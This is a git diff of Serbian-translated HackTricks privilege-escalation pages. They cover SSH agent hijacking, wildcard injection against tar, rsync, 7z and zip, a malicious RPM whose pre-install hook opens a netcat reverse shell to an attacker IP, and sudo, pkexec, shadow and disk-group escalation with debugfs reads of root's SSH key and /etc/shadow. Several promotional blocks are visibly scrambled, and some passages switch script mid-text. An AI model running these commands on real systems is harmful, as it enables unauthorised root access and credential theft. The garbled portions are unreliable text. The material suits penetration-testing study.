|
||||
|
||||
Imitirajte Boba koristeći jedan od Bobovih ssh-agenta:
|
||||
Imitirati Boba koristeći jednog od Bobovih ssh-agenta:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## Zašto ovo radi?
|
||||
## Zašto ovo funkcioniše?
|
||||
|
||||
Kada postavite promenljivu `SSH_AUTH_SOCK`, pristupate ključevima Boba koji su korišćeni u Bobovoj SSH vezi. Zatim, ako je njegov privatni ključ još uvek tu (obično će biti), moći ćete pristupiti bilo kojem hostu koristeći ga.
|
||||
Kada postavite promenljivu `SSH_AUTH_SOCK`, pristupate ključevima Boba koji su korišćeni u Bobovoj ssh vezi. Tada, ako je njegov privatni ključ još uvek tu (normalno će biti), moći ćete da pristupite bilo kojem hostu koristeći ga.
|
||||
|
||||
Kako je privatni ključ sačuvan u memoriji agenta nešifrovan, pretpostavljam da ako ste Bob, ali ne znate lozinku privatnog ključa, i dalje možete pristupiti agentu i koristiti ga.
|
||||
Pošto je privatni ključ sačuvan u memoriji agenta nekriptovan, pretpostavljam da ako ste Bob, ali ne znate lozinku privatnog ključa, i dalje možete pristupiti agentu i koristiti ga.
|
||||
|
||||
Druga opcija je da korisnik vlasnik agenta i root mogu pristupiti memoriji agenta i izvući privatni ključ.
|
||||
Druga opcija je da korisnik koji je vlasnik agenta i root može imati pristup memoriji agenta i izvući privatni ključ.
|
||||
|
||||
# Dugačko objašnjenje i iskorišćavanje
|
||||
# Dugo objašnjenje i eksploatacija
|
||||
|
||||
**Proverite [originalno istraživanje ovde](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,25 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Proverite [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Delite trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## chown, chmod
|
||||
|
||||
Možete **ukazati koji vlasnik fajla i dozvole želite kopirati za ostale fajlove**
|
||||
Možete **naznačiti koji vlasnik datoteke i dozvole želite da kopirate za ostale datoteke**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
|
@ -29,7 +33,7 @@ Više informacija na [https://www.exploit-db.com/papers/33930](https://www.explo
|
|||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(napad tarom)_\
|
||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar napad)_\
|
||||
Više informacija na [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
@ -45,24 +49,24 @@ Interesting rsync option from manual:
|
|||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(napad rsyncom)_\
|
||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _napad)_\
|
||||
Više informacija na [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
U **7z** čak i korišćenjem `--` pre `*` (napomena da `--` znači da sledeći unos ne može biti tretiran kao parametar, tako da u ovom slučaju samo putanje do fajlova) možete izazvati proizvoljnu grešku kako biste pročitali fajl, pa ako se izvršava sledeća komanda od strane root korisnika:
|
||||
U **7z** čak i korišćenjem `--` pre `*` (napomena da `--` znači da sledeći unos ne može biti tretiran kao parametri, tako da su u ovom slučaju samo putanje do datoteka) možete izazvati proizvoljnu grešku da pročitate datoteku, tako da ako se komanda poput sledeće izvršava od strane root-a:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
I možete kreirati fajlove u folderu gde se ovo izvršava, možete kreirati fajl `@root.txt` i fajl `root.txt` koji je **simbolička veza** ka fajlu koji želite da pročitate:
|
||||
I možete kreirati fajlove u folderu gde se ovo izvršava, mogli biste kreirati fajl `@root.txt` i fajl `root.txt` koji je **symlink** ka fajlu koji želite da pročitate:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
Zatim, kada se izvrši **7z**, on će tretirati `root.txt` kao datoteku koja sadrži listu datoteka koje treba komprimirati (to je ono što ukazuje postojanje `@root.txt`) i kada 7z pročita `root.txt`, pročitaće `/file/you/want/to/read` i **pošto sadržaj ove datoteke nije lista datoteka, prikazaće grešku** prikazujući sadržaj.
|
||||
Zatim, kada se **7z** izvrši, tretiraće `root.txt` kao datoteku koja sadrži listu datoteka koje treba da kompresuje (to je ono što postojanje `@root.txt` ukazuje) i kada 7z pročita `root.txt`, pročitaće `/file/you/want/to/read` i **pošto sadržaj ove datoteke nije lista datoteka, prikazaće grešku** koja prikazuje sadržaj.
|
||||
|
||||
_Više informacija u Write-up-ovima kutije CTF sa HackTheBox-a._
|
||||
_Više informacija u Write-ups of the box CTF from HackTheBox._
|
||||
|
||||
## Zip
|
||||
|
||||
|
@ -70,16 +74,23 @@ _Više informacija u Write-up-ovima kutije CTF sa HackTheBox-a._
|
|||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
<details>
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dtil>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
<ummr>PodrškaHackTricks</smmay>
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
*Proverite [**pretplatu na github.com/sorsarlosp!**
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Pridružite se 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,87 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Dodatni primeri vezani za yum mogu se pronaći na [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
Dalji primeri oko yum-a mogu se naći na [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
# Izvršavanje proizvoljnih komandi putem RPM paketa
|
||||
## Provera okruženja
|
||||
Da biste iskoristili ovaj vektor, korisnik mora moći da izvršava yum komande kao korisnik sa višim privilegijama, tj. root.
|
||||
## Proveravanje okruženja
|
||||
Da bi se iskoristio ovaj vektor, korisnik mora biti u mogućnosti da izvršava yum komande kao korisnik sa višim privilegijama, tj. root.
|
||||
|
||||
### Radni primer ovog vektora
|
||||
Radni primer ovog napada može se pronaći u sobi [daily bugle](https://tryhackme.com/room/dailybugle) na [tryhackme](https://tryhackme.com).
|
||||
Radni primer ovog eksploita može se naći u [daily bugle](https://tryhackme.com/room/dailybugle) sobi na [tryhackme](https://tryhackme.com).
|
||||
|
||||
## Pakovanje RPM-a
|
||||
U sledećem odeljku, pokriću pakovanje reverzibilne ljuske u RPM koristeći [fpm](https://github.com/jordansissel/fpm).
|
||||
U sledećem odeljku, pokriću pakovanje reverzne ljuske u RPM koristeći [fpm](https://github.com/jordansissel/fpm).
|
||||
|
||||
Primer ispod kreira paket koji uključuje okidač pre instalacije sa proizvoljnim skriptom koju napadač može definisati. Kada se instalira, ovaj paket će izvršiti proizvoljnu komandu. Za demonstraciju sam koristio jednostavan primer reverzibilne netcat ljuske, ali ovo se može promeniti po potrebi.
|
||||
Primer ispod kreira paket koji uključuje trigger pre instalacije sa proizvoljnim skriptom koji može biti definisan od strane napadača. Kada se instalira, ovaj paket će izvršiti proizvoljnu komandu. Koristio sam jednostavan primer reverzne netcat ljuske za demonstraciju, ali ovo se može promeniti po potrebi.
|
||||
```text
|
||||
EXPLOITDIR=$(mktemp -d)
|
||||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||||
RPMNAME="exploited"
|
||||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||||
```
|
||||
# Hvatanje ljuske
|
||||
Koristeći prethodni primer i pretpostavljajući da se `yum` može izvršiti kao korisnik sa višim privilegijama.
|
||||
|
||||
1. **Prebacite** rpm na ciljni računar
|
||||
2. **Pokrenite** osluškivač na vašem lokalnom računaru, kao što je [primer netcat osluškivač](/shells/shells/linux#netcat)
|
||||
3. **Instalirajte** ranjiv paket `yum localinstall -y exploited-1.0-1.noarch.rpm`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Sudo/Admin Grupa
|
||||
# Sudo/Admin Grupe
|
||||
|
||||
## **PE - Metoda 1**
|
||||
## **PE - Metod 1**
|
||||
|
||||
**Ponekad**, **podrazumevano \(ili zato što neki softver to zahteva\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija:
|
||||
**Ponekad**, **podrazumevano \(ili zato što neka softverska rešenja to zahtevaju\)** unutar **/etc/sudoers** datoteke možete pronaći neke od ovih linija:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
@ -25,9 +26,9 @@ Drugi načini podrške HackTricks-u:
|
|||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Ovo znači da **svaki korisnik koji pripada grupi sudo ili admin može izvršiti bilo šta kao sudo**.
|
||||
To znači da **bilo koji korisnik koji pripada grupi sudo ili admin može izvršavati bilo šta kao sudo**.
|
||||
|
||||
Ako je to slučaj, da **postanete root samo izvršite**:
|
||||
Ako je to slučaj, da **postanete root, možete jednostavno izvršiti**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
|
@ -37,14 +38,14 @@ Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka
|
|||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Ako otkrijete da je binarna datoteka pkexec SUID binarna datoteka i da pripadate grupi sudo ili admin, verovatno možete izvršavati binarne datoteke kao sudo koristeći pkexec.
|
||||
Ako otkrijete da je binarni fajl pkexec SUID binarni fajl i da pripadate sudo ili admin grupi, verovatno biste mogli da izvršavate binarne fajlove kao sudo koristeći pkexec.
|
||||
Proverite sadržaj:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Ovde ćete pronaći koje grupe imaju dozvolu da izvršavaju **pkexec** i **podrazumevano** u nekim Linux distribucijama se mogu pojaviti grupe poput **sudo** ili **admin**.
|
||||
Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linuxima mogu **pojaviti** neke od grupa **sudo ili admin**.
|
||||
|
||||
Da biste **postali root, možete izvršiti**:
|
||||
Da **postanete root možete izvršiti**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
|
@ -54,44 +55,48 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
|||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Nije zato što nemate dozvole, već zato što niste povezani bez grafičkog korisničkog interfejsa**. Postoji način da se ovo reši ovde: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrebne su vam **2 različite SSH sesije**:
|
||||
**Nije zato što nemate dozvole, već zato što niste povezani bez GUI-a**. I postoji rešenje za ovaj problem ovde: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrebno vam je **2 različite ssh sesije**:
|
||||
|
||||
{% code title="sesija1" %}
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
{% code title="sesija2" %}
|
||||
{% endcode %}
|
||||
|
||||
{% code title="session2" %}
|
||||
```bash
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
# Wheel grupa
|
||||
# Wheel Group
|
||||
|
||||
**Ponekad**, **podrazumevano** unutar **/etc/sudoers** fajla možete pronaći ovu liniju:
|
||||
**Ponekad**, **po defaultu** unutar **/etc/sudoers** datoteke možete pronaći ovu liniju:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Ovo znači da **svaki korisnik koji pripada grupi wheel može izvršiti bilo šta kao sudo**.
|
||||
To znači da **bilo koji korisnik koji pripada grupi wheel može izvršavati bilo šta kao sudo**.
|
||||
|
||||
Ako je to slučaj, da **postanete root samo izvršite**:
|
||||
Ako je to slučaj, da **postanete root, možete jednostavno izvršiti**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow grupa
|
||||
# Shadow Group
|
||||
|
||||
Korisnici iz **shadow grupe** mogu **čitati** fajl **/etc/shadow**:
|
||||
Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
# Disk grupa
|
||||
Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**.
|
||||
|
||||
Ova privilegija je skoro **ekvivalentna pristupu root-u** jer omogućava pristup svim podacima unutar mašine.
|
||||
# Диск Група
|
||||
|
||||
Fajlovi: `/dev/sd[a-z][1-9]`
|
||||
Ова привилегија је скоро **еквивалентна root приступу** јер можете приступити свим подацима унутар машине.
|
||||
|
||||
Фајлови: `/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
|
@ -99,47 +104,47 @@ debugfs: ls
|
|||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Imajte na umu da pomoću debugfs-a takođe možete **pisati datoteke**. Na primer, da biste kopirali `/tmp/asd1.txt` u `/tmp/asd2.txt`, možete uraditi:
|
